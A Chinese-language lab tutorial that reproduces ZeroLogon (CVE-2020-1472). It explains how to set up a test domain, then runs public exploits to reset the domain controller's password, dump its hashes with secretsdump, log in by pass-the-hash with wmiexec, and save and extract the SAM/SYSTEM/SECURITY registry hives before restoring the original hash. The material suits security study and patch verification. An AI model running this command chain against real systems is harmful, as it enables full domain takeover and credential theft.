【漏洞复现系列】CVE-2020-1472-微软NetLogon权限提升-手把手教学-简单域环境搭建与Exp执行
一、漏洞简介
NetLogon 远程协议是一种在 Windows 域控上使用的 RPC 接口,被用于各种与用户和机器认证相关的任务。最常用于让用户使用 NTLM 协议登录服务器,也用于 NTP 响应认证以及更新计算机域密码。
微软MSRC于8月11日 发布了Netlogon 特权提升漏洞安全通告。此漏洞CVE编号CVE-2020-1472, CVSS 评分:10.0。由 Secura 公司的 Tom Tervoort 发现提交并命名为 ZeroLogon。
攻击者使用 Netlogon 远程协议 (MS-NRPC) 建立与域控制器连接的 Netlogon 安全通道时,存在特权提升漏洞。当成功利用此漏洞时,攻击者可无需通过身份验证,在网络中的设备上运行经特殊设计的应用程序,获取域控制器的管理员权限。
二、影响范围
- Windows Server, version 2004 (Server Core installation)
- Windows Server 2008 R2 for x64-based Systems Service Pack 1
- Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
- Windows Server 2012
- Windows Server 2012 (Server Core installation)
- Windows Server 2012 R2
- Windows Server 2012 R2 (Server Core installation)
- Windows Server 2016
- Windows Server 2016 (Server Core installation)
- Windows Server 2019
- Windows Server 2019 (Server Core installation)
- Windows Server, version 1903 (Server Core installation)
- Windows Server, version 1909 (Server Core installation)
三、简单域环境搭建与执行Exp所需环境
-
域环境组成
-
- Windows Server 2016作为域控服务器,IP为192.168.153.137
- Windows 10模拟普通域用户,IP为192.168.153.138
-
搭建过程
-
- 安装Win Server 2016域控
参考百度教程即可:https://jingyan.baidu.com/article/86f4a73ec2518b37d7526940.html
- Win10机器加入域
右击-属性-高级系统设置-计算机名-更改-隶属于域-填入域名确定就ok了
P.S. 本人在搭建域环境过程发现,按网上教程,Win10机器提示已成功加入域,但是实际并没有成功加入,现象如下:登陆界面显示的登录名并未按”域名****\用户名“的格式,如testdomain\test001,而是仅有一个本地的用户名,如test001。这应该是**本地用户名,即未成功加入域。本人采用的临时解决方法是在域控上新建一个域用户,然后在Win10机器上使用该账户登录。暂时不知道什么原因。请知道的大佬指导下。
-
说明:上述教程涉及的IP、域名等可自行决定。
-
Win10机器配置Exp执行环境
-
- 安装Python 3。不再赘述。
- 安装impacket包:pip install impacket。如果设置机器不能上外网,可离线安装python包。
- 下载PoC与Exp:
-
-
- PoC:https://github.com/SecuraBV/CVE-2020-1472
- Exp:https://github.com/dirkjanm/CVE-2020-1472
- 恢复域控密码工具:https://github.com/risksense/zerologon
-
四、执行Exp
-
执行Exp前
-
- PoC:验证域控是否存在此漏洞
用法:python zerologon_tester.py 域控主机名 域控IP
python zerologon_tester.py WIN-JQ3IUSNP2K3 92.168.153.137
- 尝试导出域控hash:无法获取域控密码相关信息
用法:secretsdump.py 域名/域控机器名@域控IP -just-dc -no-pass
secretsdump.py pabtest.com.cn/WIN-JQ3IUSNP2K3@192.168.153.137 -just-dc -no-pass
- 执行Exp
用法:python CVE-2020-1472.py 域控nbios名 域控主机名$ 域控IP
python CVE-2020-1472.py WIN-JQ3IUSNP2K3 WIN-JQ3IUSNP2K3$ 192.168.153.137
- 导出域控上的hash
用法:python secretsdump.py server08.com/AD-Server$@192.168.2.208 -just-dc -no-pass
secretsdump.py pabtest.com.cn/WIN-JQ3IUSNP2K3@192.168.153.137 -just-dc -no-pass
去cmd5验证一下
- 登录域控机器
一般教程到上面这个步骤就结束了,下面我们来使用抓取到的密码登录域控机器,获得域控的Shell。
用法:wmiexec.py -hashes LMHASH:NTHASH 域名/用户名@域控IP
Wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:579da618cfbfa85247acf1f800a280a4 pabtest.com.cn/administrator@192.168.153.137
-
尝试恢复域控的密码
-
- 导出sam等文件到本地,命令如下:
reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
get system.save
get sam.save
get security.save
del /f system.save
del /f sam.save
del /f security.save
这三个文件会下载到Win10机器执行命令的目录上
- 然后尝试获取域控机器本地保存的置空前的hash。命令如下:
secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
- 还原域控机器原始密码hash。命令如下:
python3 reinstall_original_pw.py DC_NETBIOS_NAME DC_IP_ADDR ORIG_NT_HASH
python reinstall_original_pw.py WIN-JQ3IUSNP2K3 192.168.153.137 7776eae2803c40a2e47efebfe3ba91b2
- 查看****WIN-2008-DC$账号的hash,已成功还原
复现过程结束。